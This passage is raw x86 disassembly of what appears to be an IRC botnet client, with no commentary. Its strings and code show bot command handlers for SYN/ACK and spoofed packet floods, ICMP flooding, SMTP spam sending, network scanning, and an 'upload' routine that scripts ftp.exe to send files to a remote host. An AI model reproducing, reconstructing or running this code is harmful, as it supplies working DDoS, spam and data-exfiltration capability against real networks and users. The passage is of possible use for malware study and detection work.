		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4D0824
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4D07CC
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4D083C
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4D0874
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4D083C
		push	esi
		call	dword_4D08BC
		call	dword_4D077C
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset unk_43035C

loc_406CCF:				; CODE XREF: sub_401ACD+2E82j
					; sub_401ACD+4666j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886

loc_406CDB:				; CODE XREF: sub_401ACD+248Bj
		add	esp, 0Ch

loc_406CDE:				; CODE XREF: sub_401ACD+4584j
					; sub_401ACD+6653j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406CFF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_406CFF:				; CODE XREF: sub_401ACD+29B2j
					; sub_401ACD+2A05j ...
		mov	esi, [ebp+arg_24]

loc_406D02:				; CODE XREF: sub_401ACD+68F2j
					; sub_401ACD+78E2j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx
		mov	eax, esi
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_406D16:				; CODE XREF: sub_401ACD+50ACj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D40
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072E8

loc_406D40:				; CODE XREF: sub_401ACD+525Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4100DB
		jmp	loc_4040AA
; ---------------------------------------------------------------------------

loc_406D6E:				; CODE XREF: sub_401ACD+507Ej
					; sub_401ACD+5095j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		push	offset unk_43031C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_406DD3:				; CODE XREF: sub_401ACD+52CCj
					; sub_401ACD+52E3j ...
		push	[ebp+arg_18]
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_406EFF
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi
		push	esi
		push	eax
		call	sub_41B980
		push	[ebp+arg_0]
		call	sub_41B779
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E70
		mov	eax, offset aNormal ; "Normal"

loc_406E70:				; CODE XREF: sub_401ACD+539Cj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_4302D8
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset byte_413E35
		push	ebx
		push	ebx
		call	near ptr 2680053h
		nop
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_406EEE

loc_406ED8:				; CODE XREF: sub_401ACD+541Fj
		cmp	[ebp+var_123C],	ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2680000h
		nop
		jmp	short loc_406ED8
; ---------------------------------------------------------------------------

loc_406EEE:				; CODE XREF: sub_401ACD+5409j
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset unk_4302A0
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_406EFF:				; CODE XREF: sub_401ACD+5317j
		push	offset unk_430268

loc_406F04:				; CODE XREF: sub_401ACD+2018j
					; sub_401ACD+202Ej ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40828B
; ---------------------------------------------------------------------------

loc_406F17:				; CODE XREF: sub_401ACD+5039j
					; sub_401ACD+5050j ...
		cmp	dword_4D0914, ebx
		jnz	loc_407026
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_100C],	eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_1008],	eax
		call	sub_41B779
		push	7Fh
		mov	[ebp+var_1004],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_100C]
		push	offset unk_430220
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset dword_413284
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_407015

loc_406FFF:				; CODE XREF: sub_401ACD+5546j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_406FFF
; ---------------------------------------------------------------------------

loc_407015:				; CODE XREF: sub_401ACD+5530j
		call	near ptr 268086Bh
		nop
		push	eax
		push	offset unk_4301E8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_407026:				; CODE XREF: sub_401ACD+5450j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B5F0
		jmp	loc_408288
; ---------------------------------------------------------------------------

loc_407041:				; CODE XREF: sub_401ACD+500Bj
					; sub_401ACD+5022j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_430194
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41AFE0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41B900
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41B779
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40713B

loc_4070C4:				; CODE XREF: sub_401ACD+561Bj
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_4185A4
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070EC
		cmp	eax, ebx
		jnz	short loc_40710B
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070C4
		jmp	short loc_407144
; ---------------------------------------------------------------------------

loc_4070EC:				; CODE XREF: sub_401ACD+560Cj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_43015C

loc_4070F5:				; CODE XREF: sub_401ACD+5680j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4072E8
; ---------------------------------------------------------------------------

loc_40710B:				; CODE XREF: sub_401ACD+5610j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_430128
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h

loc_40713B:				; CODE XREF: sub_401ACD+55F5j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072E8

loc_407144:				; CODE XREF: sub_401ACD+561Dj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_4300F4
		jmp	short loc_4070F5
; ---------------------------------------------------------------------------

loc_40714F:				; CODE XREF: sub_401ACD+4FC6j
					; sub_401ACD+4FDDj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_C7C], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_C78], eax
		call	sub_41B779
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4071B4
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_4071BA
; ---------------------------------------------------------------------------

loc_4071B4:				; CODE XREF: sub_401ACD+56D6j
		mov	[ebp+var_C70], ebx

loc_4071BA:				; CODE XREF: sub_401ACD+56E5j
		push	7Fh
		lea	eax, [ebp+var_D7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C7C]
		push	offset unk_4300AC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset dword_413410
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40725D

loc_40724B:				; CODE XREF: sub_401ACD+578Ej
		cmp	[ebp+var_C60], ebx
		jnz	short loc_407278
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_40724B
; ---------------------------------------------------------------------------

loc_40725D:				; CODE XREF: sub_401ACD+577Cj
		call	near ptr 268086Bh
		nop
		push	eax
		push	offset unk_430074

loc_407269:				; CODE XREF: sub_401ACD+4E31j
					; sub_401ACD+62BEj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_407278:				; CODE XREF: sub_401ACD+4E15j
					; sub_401ACD+5784j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	[ebp+var_4]

loc_407285:				; CODE XREF: sub_401ACD+22DEj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4082A8
; ---------------------------------------------------------------------------

loc_407298:				; CODE XREF: sub_401ACD+4F98j
					; sub_401ACD+4FAFj
		push	0Bh
		call	sub_40B33E
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41B779
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407454
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_430034
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h

loc_4072E8:				; CODE XREF: sub_401ACD+526Dj
					; sub_401ACD+5639j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		push	4
		push	esi
		call	sub_416908
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407324
		push	esi
		push	offset unk_430014
		jmp	loc_408CDB
; ---------------------------------------------------------------------------

loc_407324:				; CODE XREF: sub_401ACD+584Aj
		call	near ptr 26907CFh
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E58]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E58]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E94
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41BE06
		push	[ebp+arg_24]
		call	sub_41B05B
		add	esp, 20h
		lea	eax, [ebp+var_2E58]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4D0790
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4073F3
		push	offset unk_42FFA4
		jmp	short loc_4073F8
; ---------------------------------------------------------------------------

loc_4073F3:				; CODE XREF: sub_401ACD+591Dj
		push	offset unk_42FF74

loc_4073F8:				; CODE XREF: sub_401ACD+5924j
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407421
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_407421:				; CODE XREF: sub_401ACD+5936j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC

loc_40742D:				; CODE XREF: sub_401ACD+5985j
		lea	eax, [ebp+var_2E58]
		push	4
		push	eax
		call	sub_416908
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E94
		lea	eax, [ebp+var_2E58]
		push	eax
		call	sub_41BDDC
		jmp	short loc_40742D
; ---------------------------------------------------------------------------

loc_407454:				; CODE XREF: sub_401ACD+57E5j
		push	[ebp+arg_10]
		call	sub_41B779
		push	edi
		mov	[ebp+var_370], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41B779
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_40748D
		push	5
		pop	eax
		mov	[ebp+var_36C], eax

loc_40748D:				; CODE XREF: sub_401ACD+59B5j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40749A
		mov	[ebp+var_36C], ecx

loc_40749A:				; CODE XREF: sub_401ACD+59C5j
		push	[ebp+arg_18]
		call	sub_41B779
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_4074BC
		mov	[ebp+var_368], eax

loc_4074BC:				; CODE XREF: sub_401ACD+59E7j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_436D08, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_40750B
		mov	edi, offset dword_436D08

loc_4074D3:				; CODE XREF: sub_401ACD+5A20j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074F1
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074D3
		jmp	short loc_40750B
; ---------------------------------------------------------------------------

loc_4074F1:				; CODE XREF: sub_401ACD+5A16j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_436D08[ecx]
		mov	[ebp+var_370], ecx

loc_40750B:				; CODE XREF: sub_401ACD+59FFj
					; sub_401ACD+5A22j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40751D
		push	offset unk_42FF40
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_40751D:				; CODE XREF: sub_401ACD+5A44j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_407558
		cmp	byte ptr [edi],	23h
		jz	short loc_407558
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41B980
		push	78h
		push	edi
		call	sub_41BFB0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407632
; ---------------------------------------------------------------------------

loc_407558:				; CODE XREF: sub_401ACD+5A59j
					; sub_401ACD+5A5Ej
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40757A
		push	offset unk_42FF0C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_40757A:				; CODE XREF: sub_401ACD+5A91j
					; sub_401ACD+5A99j ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4D07C8
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40762C
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BE40
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407620

loc_4075FE:				; CODE XREF: sub_401ACD+5B51j
		cmp	eax, ebx
		jz	short loc_407620
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4075FE

loc_407620:				; CODE XREF: sub_401ACD+5B2Fj
					; sub_401ACD+5B33j
		mov	[ebp+var_344], 1
		jmp	short loc_407632
; ---------------------------------------------------------------------------

loc_40762C:				; CODE XREF: sub_401ACD+5B09j
		mov	[ebp+var_344], ebx

loc_407632:				; CODE XREF: sub_401ACD+5A86j
					; sub_401ACD+5B5Dj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407683

loc_407670:				; CODE XREF: sub_401ACD+5BD9j
		push	esi

loc_407671:				; CODE XREF: sub_401ACD+5BC3j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4076AE
; ---------------------------------------------------------------------------

loc_407683:				; CODE XREF: sub_401ACD+5BA1j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407692
		cmp	byte ptr [eax],	23h
		jnz	short loc_407692
		push	eax
		jmp	short loc_407671
; ---------------------------------------------------------------------------

loc_407692:				; CODE XREF: sub_401ACD+5BBBj
					; sub_401ACD+5BC0j
		mov	esi, offset loc_429150
		push	offset dword_4429D8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407670
		mov	[ebp+var_3F4], bl

loc_4076AE:				; CODE XREF: sub_401ACD+5BB4j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4076C0
		mov	eax, offset aSequential	; "Sequential"

loc_4076C0:				; CODE XREF: sub_401ACD+5BECj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42FEA4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40774E

loc_407738:				; CODE XREF: sub_401ACD+5C7Fj
		cmp	[ebp+var_340], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_407738
; ---------------------------------------------------------------------------

loc_40774E:				; CODE XREF: sub_401ACD+5C69j
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset unk_42FE6C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_40775F:				; CODE XREF: sub_401ACD+4F6Aj
					; sub_401ACD+4F81j
		push	[ebp+arg_10]
		call	sub_40AAF9
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42FE1C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40C759
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_407854

loc_40783E:				; CODE XREF: sub_401ACD+5D85j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_40783E
; ---------------------------------------------------------------------------

loc_407854:				; CODE XREF: sub_401ACD+5D6Fj
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset unk_42FDE0
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_407865:				; CODE XREF: sub_401ACD+4F2Dj
					; sub_401ACD+4F44j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_443778[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42FDD4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_44376C[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_443560[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_443778
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407A35
; ---------------------------------------------------------------------------

loc_40795D:				; CODE XREF: sub_401ACD+4EFFj
					; sub_401ACD+4F16j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_443778[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
